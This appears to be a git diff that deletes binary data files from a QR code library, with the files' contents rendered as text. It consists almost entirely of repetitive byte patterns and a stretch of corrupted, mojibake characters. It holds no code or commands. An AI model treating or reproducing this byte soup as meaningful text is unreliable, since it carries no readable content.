POONNMMLabbccddeLMMNNOOP**++,,--WWVVUUTTZZ[[\\]]''&&%%$$]]WWVVUUhhggffeeRSSTTUUV/..--,,+onnmmllkBCCDDEEF34455667())**++,==>>??@@00//..--CBBAA@?>|{{zzyyxuvvwwxxy56677889 - - LKKJJIIHeffgghhiPQQRRSST..//0011SSRRQQPP^^__``aa !!##""!! TTSSRRQQddccbbaaVWWXXYYZ+**))(('kjjiihhgFGGHHIIJ78899::;,--..//0AABBCCDD,,++**))=<;;::99xwwvvuutyzz{{||}9::;;<<=HGGFFEEDijjkkllmTUUVVWW]22334455 OONNMMLLbbccddee""##$$%%PPOONNMM``__^^]]Z[[\\]]^'&&%%$$#gffeeddcJKKLLMMN;AABBCCD01122334EEFFGGHH((''&&%%88776655tssrrqqp}~~=>>??@@ADCCBBAA@mnnooppq]^^__``a66778899 - - KKJJIIHHffgghhii&&''(())LLKKJJII\[ZYXWWV^__``aab !!"#""!! cbbaa``_NOOPPQQRDEEFFGGH45566778IIJJKKLL - - 44332211poonnmmlABBCCDDE@??>>==<~~}}|qrrssttuabbccdde::;;<<==GGFFEEDDjjkkllmm**++,,--HHGGFFEEVUUTTSSRbccddeef"##$$%%&_^^]]\\[RSSTTUUVHIIJJKKL899::;;>??@@AACCBBAA@@nnooppqq..//0011DDCCBBAARQQPPOONfgghhiij&''(())*[ZZYYXXWVWWXXYYZLMMNNOOP<==>>??@QQRRSSTT,,++**))hggffeedIJJKKLLM - - 87766554xwwvvuutyzz{{||}ijjkkllmBBCCDDEE??>>==<<~~}}||rrssttuu22334455 ;;::9988NMMLLKKJjkkllmmn*++,,--.WVVUUTTSZ[[\\]]^PQQRRSST@AABBCCDUUVVWWXX((''&&%%dccbbaa`MNNOOPPQ 43322110tssrrqqp}~~mnnooppqFFGGHHII ;;::9988{{zzyyxxvvwwxxyy66778899 - - 77665544JIIHHGGFnooppqqr.//00112SRRQQPPO^__``aabTUUVVWW]DEEFFGGHYYZZ[[\\ $#"! `__^^]]\QRRSSTTU0//..--,poonnmmlqrrssyyzJJKKLLMM - - 77665544wwvvuuttzz{{||}}::;;<<==33221100FEEDDCCB~~}}||{rssttuuv23344556 ONNMMLLKbccddeef]^^__``aHIIJJKKL]]^^__`` - - \[[ZZYYXUVVWWXXY,++**))(lkkjjiihz{{||}}~NNOOPPQQ33221100ssrrqqpp~~>>??@@AA//..--,,BAA@?>=<{zzyyxxwvwwxxyyz6778899: - - KJJIIHHGfgghhiijabbccddeLMMNNOOPaabbccdd!!""##$$XWWVVUUTYZZ[[\\](''&&%%$hggffeed~RRSSTTUU//..--,,oonnmmllBBCCDDEE++**))((;;::9988wvvuuttsz{{||}}~:;;<<==>GFFEEDDCjkkllmmneffgghhiPQQRRSSTeeffgghh%%&&''(( TSSRRQQP]^^__``a !$##""!! dccbbaa`VVWWXXYY++**))((kkjjiihhFFGGHHII ''&&%%77665544srrqqppo~>??@@AABCBBAA@@?nooppqqrijjkkllmTUUVVWWXiijjkkll))**++,, - - POONNMMLabbccdde!""##$$% `__^^]]\ZZ[[\\]]''&&%%$$ggffeeddJJKKLLMM - - 33221100onnmmllkBCCDDEEF?>>==<<;~~}}||{rssttuuvmnnooppqXYYZZ[[\mmnnoopp--..//00 -LKKJJIIHeffgghhi%&&''(()\[[ZZYYX^^__``aa !!##""!! ccbbaa``NNOOPPQQ//..--,,kjjiihhgFGGHHIIJ -;::99887{zzyyxxwvwwxxyyzqrrssyyz\]]^^__`qqrrsstt11223344 - HGGFFEEDijjkkllm)**++,,-XWWVVUUTbbccddee""##$$%%__^^]]\\RRSSTTUU++**))((gffeeddcJKKLLMMN - 76655443wvvuuttsz{{||}}~z{{||}}~`aabbccduuvvwwxx55667788DCCBBAA@mnnooppq-..//001TSSRRQQPffgghhii&&''(())[[ZZYYXXVVWWXXYY''&&%%$#cbbaa``_NOOPPQQR3221100/srrqqppo~~deeffgghyyzz{{||99::;;<<@??>>==<~~}}|qrrssttu12233445 POONNMMLjjkkllmm**++,,--WWVVUUTTZZ[[\\]] "! _^^]]\\[RSSTTUUV/..--,,+onnmmllkhiijjkkl}}~~==>>??@@%%&& <;;::998|{{zzyyxuvvwwxxy56677889 - - LKKJJIIHnnooppqq..//0011SSRRQQPP^^__``aa !! - - [ZZYYXXWVWWXXYYZ+**))(('kjjiihhglmmnnoopAABBCCDD''(())** - - 87766554xwwvvuutyzz{{||}9::;;<<=HGGFFEEDrrssttuu22334455 OONNMMLLbbccddee""##$$%%WVVUUTTSZ[[\\]]^'&&%%$$#gffeeddcpqqrrsstEEFFGGHH++,,--.. 43322110tssrrqqp}~~=>>??@@ADCCBBAA@~~}}||{vvwwxxyy66778899 - - KKJJIIHHffgghhii&&''(()) - -SRRQQPPO^__``aab !!"#""!! cbbaa``_tuuvvwwxIIJJKKLL//0011220//..--,poonnmmlABBCCDDE@??>>==<{zzyyssrzz{{||}}::;;<<==GGFFEEDDjjkkllmm**++,,--  ONNMMLLKbccddeef"##$$%%&_^^]]\\[xyyzz{{|MMNNOOPP33445566,++**))(lkkjjiihEFFGGHHI <;;::998rqqppoon~~}}||~~>>??@@AACCBBAA@@nnooppqq..//0011 - - KJJIIHHGfgghhiij&''(())*[ZZYYXXW|}}~~QQRRSSTT778899::(''&&%%$hggffeedIJJKKLLM - - 87766554nmmllkkj{{zzyyxwBBCCDDEE??>>==<<~~}}||rrssttuu22334455 GFFEEDDCjkkllmmn*++,,--.WVVUUTTS~~}UUVVWWXX;;AABBCC !$##""!! dccbbaa`MNNOOPPQ 43322110jiihhggfvutssrrqFFGGHHII ;;::9988{{zzyyxxvvwwxxyy66778899CBBAA@@?nooppqqr.//00112SRRQQPPO}||{{zzyYYZZ[[\\DDEEFFGG!""##$$% `__^^]]\QRRSSTTU0//..--,feeddccbqppoonnmJJKKLLMM - - 77665544wwvvuuttzz{{||}}::;;<<==?>>==<<;~~}}||{rssttuuv23344556 ONNMMLLKyxxwwvvuZHAb|ZdQbXQJ`ےfH~rbtlfpvdrtfH~btlfpvrtAdQZ|HAbےfpvp˂rH~fr˂pے`JXQtlJbHAZf`vXJtAdnXv`AJltf`vXJtArdnXv`drt`JXQrnXv`XQJ`ے`vXnZHAbr˂ptArdp˂rnvp|ZdQf~HbdQZ|nvp|ZdQfHAJlt˂pZf~HbHAZvpfے`JXQZHAb|ZdQbXQJ`ےfH~btlfpv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drbHAZvpfdQbt璙bHAZpbdQZ|`JXQZdQbtbHAZpnvp`JXQvdQZ|vpfHZdQbtHfpdQZ|`JXQrZdQbtbHAZpXnvے`JX~HfpQZ|dvpfHZdQbt~HfpQZ|dvpfHf۝`vQtJlp˂rH~flJtAr˂rXdrtAr˂plJt˂rXfHf`r˂p~HfpdrtAJ~f`lJtAvnrdrtAJ˂pZlJtA˂rXQpfH~Qr˂pvnXrtAJl~f`lJtAvnXrtAJl~frXnvˍtbAdZXQJ`ے`vXnd|ZQJ`ےJltZHAbArd|QJ`ےvXnZHAbvnXltbQvXnrd|XQJ`ےltbHAbےrd|J`ےf`vZA`v`ftbdvXnrd|v`ftbd˂pZHpfH~|drbHAZvpfdQtArdbHAZpbdQZ|`JXQZdQbtbHAZpvpfH`JXQv`fZdrtvpfHZdQbtHAZpdQZ|`JXQrZdQbtbHAZpXnvJXQrbt~HfpQZ|dvpfHZdQbt~HfpQZ|dAbے`f۝`vQtJldrtAH~f|ZdQ˂rXdrtAr˂plJt˂rX~f`r˂p~HfpAJlt~f`lJtA˂rXQdrtAJ˂pZlJtA˂rXQpfH~lJtvnXrtAJl~f`lJtAvnXrtAJlJXQrXnvˍtbAdZ|.........................................................../ \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv34_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv34_3.dat deleted file mode 100644 index a9e264c..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv34_3.dat +++ /dev/null @@ -1,305 +0,0 @@ -{|{|{|{|yzyzyzyzwxwxwxwvtststsssrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[WXWXWXWX{|{|{|{|yzyzyzyzuvuvuvuvssstststrqrqrqrqnmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[WXWXWXWX{|{|{|{|yzyzyzyzuvuvuvuvststststpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[WXWXWXWX{|{|{|{|yzyzyzyzuvuvuvuvststststpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[WXWXWXWX{|{|{|{|yzyzyzyzuvuvuvuvststststpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[ZYWXWXWWWW{|{|{|{|yzyzyzyzuvuvuvuvststststpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYWWXWXWXW{|{|{|{|yzyzyzyzuvuvuvuvststststpopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXW{|{|{|{|yzyzyzyzuvuvuvuvsssssstspopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXW{|{|{|{|yzyzyzyzuvuvuvuvtstststspopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXW~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvtstststspopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXW}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvtstststspopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXW}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvtstststspopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYWWWWWXWX}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvtstststspopopoponmnmnmnmlklklklkhghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]ZYZYZYZYWXWXWXWX}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvtstssssspopopoponmnmnmnmlklklklkhghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYWXWXWXWX}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvtstststspopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYWXWXWXWX}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYWXWXWXWX}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYWXWXWXWX}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYWXWWWWWX}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYWXWXWXWV}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUV}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUV}~}~}~}~{|{|{|{|yxwxwxwxuvuvuvuvrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUV}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUV}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUV}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]ZYZYZYZYUVUVUVUV}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvrqrqrqrqpopopoponmnmnmnmjijijijihghghghgfefefefebabababa`_`_`_`_\[\[\[\[ZYZYZYZYUVUVUVUV}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvrqrqrqrqpopopoponmnmnmnmjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYUVUVUVUV}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYUVUVUVUV}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYUVUVUVUV}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYUVUVUVUV}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYUVUVUVUV}~}~}~}~{|{|{|{|wxwxwxwxuvuvutstrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYUVUVUVUV}~}~}~}~{|{|{|{|wxwxwxwxststssssrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYUVUVUVUV}~}~}~}~{|{|{|{|wxwxwxwxsstststsrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYUVUVUVUV}~}~}~}~{zyzyzyzwxwxwxwxtstststsrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYUVUVUVUV}~}~}~}~yzyzyzyzwxwxwxwxtstststsrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYXWXWUVUVUVUV}~}~}~}~yzyzyzyzwxwxwxwxtstststsrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[XWXWWWWWUVUVUVUV}~}~}~}~yzyzyzyzwxwxwxwxtstststsrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_\[\[\[\[WXWXWXWXUVUVUVUV}~}~}~}~yzyzyzyzwxwxwxwxtstststsrqrqrqrqpopopopolklklklkjijijijihghghghgdcdcdcdcbabababa^]^]^]^]\[\[\[\[WXWXWXWXUVUVUVUV}~}~}~}~yzyzyzyzwxwxwxwxssssststrqrqrqrqpopopopolklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[WXWXWXWXUVUVUVUV}~}~}~}~yzyzyzyzwxwxwxwxststststrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[WXWXWXWXUVUVUVUV}~}~}~}~yzyzyzyzwxwxwxwxststststrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[WXWXWXWXUVUVUVUV}~}~}~}~yzyzyzyzwxwxwxwxststststrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[WXWXWXWWUVUVUVUV}~}~}~}~yzyzyzyzwxwxwxwxststststrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[WWWWXWXWUVUVUVUV}~}~}~}~yzyzyzyzwxwxwxwxststststrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[XWXWXWXWUVUVUVUVUVUVUVUV}~}~}~}~yzyzyzyzwxwxwxwxstssssssrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[XWXWXWXWUVUVUVUVUVUVUVUV}~}~}~}~yzyzyzyzwxwxwxwxtstststsrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[XWXWXWXWUVUVUVUVUVUVUVUV}|{|{|{|yzyzyzyzwxwxwxwxtstststsrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[XWXWXWXWUVUVUVUVUVUVUVUV{|{|{|{|yzyzyzyzwxwxwxwxtstststsrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[XWXWXWXWUVUVUVUVUVUVUVUV{|{|{|{|yzyzyzyzwxwxwxwxtstststsrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[XWWWWWWXUVUVUVUVUVUVUVUT{|{|{|{|yzyzyzyzwxwxwxwxtstststsrqrqrqrqnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[WXWXWXWXUVUVUVUVSTSTSTSTSTSTSTSTQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@<;<;<;<;:9:9:9:9656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)('&%&%&%&%$#$#$#$#         - - - -STSTSTSTQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?>=><;<;;;;;:9:9:9:965656565434343432121210/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -STSTSTSTQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<:9:9:98765656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -STSTSTSTQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -STSTSTSTQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#       - - - -STSTSTSTQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#"!"!  - - - -STSTSTSTQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;<8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - -STSTSTSTQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;<;<;<;;8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - -STSTSTSTQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB=>=>=>=>;;;;<;<;8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - -STSTSTSTQRQRQRQROPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGFCDCDCDCDABABABAB=>=>=>=><;<;<;<;8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - -STSTSTSTQRQRQRQROPOPOPONKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=><;<;<;<;8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - -STSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=><;<;<;<;8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - -STSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=><;<;<;<;8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    - - - -STSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=><;<;<;<;8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+*)('('('('&%&%&%&%"!"!"!"!     - - - -STSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=><;;;;;<;8787878765656565434343210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -STSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=><;<;<;:98787878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -STSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -STSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!      - - - -STSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!       - - - -STSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!       - - - -STSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB=>=>=>=>:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -STSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABA@=>=>=>=>:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -STSTSTSTQRQRQRQRMNMNMNMNKLKLKLKLIJIJIJIHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -STSTSTSTQRQRQRQPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -STSTSTSTOPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!     - - - -STSTSTSTOPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%$#"!"!"!"!     - - - -STSTSTSTOPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:98787878765656565212121210/0/0/0/.-.-.-,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -STSTSTSTOPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:98787878765656543212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -STSTSTSTOPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:98787878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -STSTSTSTOPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:98787878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - STSTSTSTOPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:98787878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     STSTSTSTOPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>:9:9:9:98787878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     STSTSTSTOPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=<;<;<:9:9:9:98787878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     STSTSTSTOPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@;<;;;;;;:9:9:9:98787878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     STSTSTSTOPOPOPOPMNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCB?@?@?@?@<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     STSTSTSTOPOPOPOPMNMNMNMNKLKLKLKJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     STSTSTSROPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!        QRQRQRQROPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('$#$#$#$#       QRQRQRQROPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@<;<;<;<;:9:9:9:98787878743434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('&%$#$#$#$#         QRQRQRQROPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@<;<;<;;;:9:9:9:98787878743434343212121210/0/0/.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         QRQRQRQROPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;;;<;<;<:9:9:9:9878787654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         QRQRQRQROPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<:9:9:9:9656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         QRQRQRQROPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<:9:9:9:9656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#         - -QRQRQRQROPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<:9:9:9:9656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#       - - - 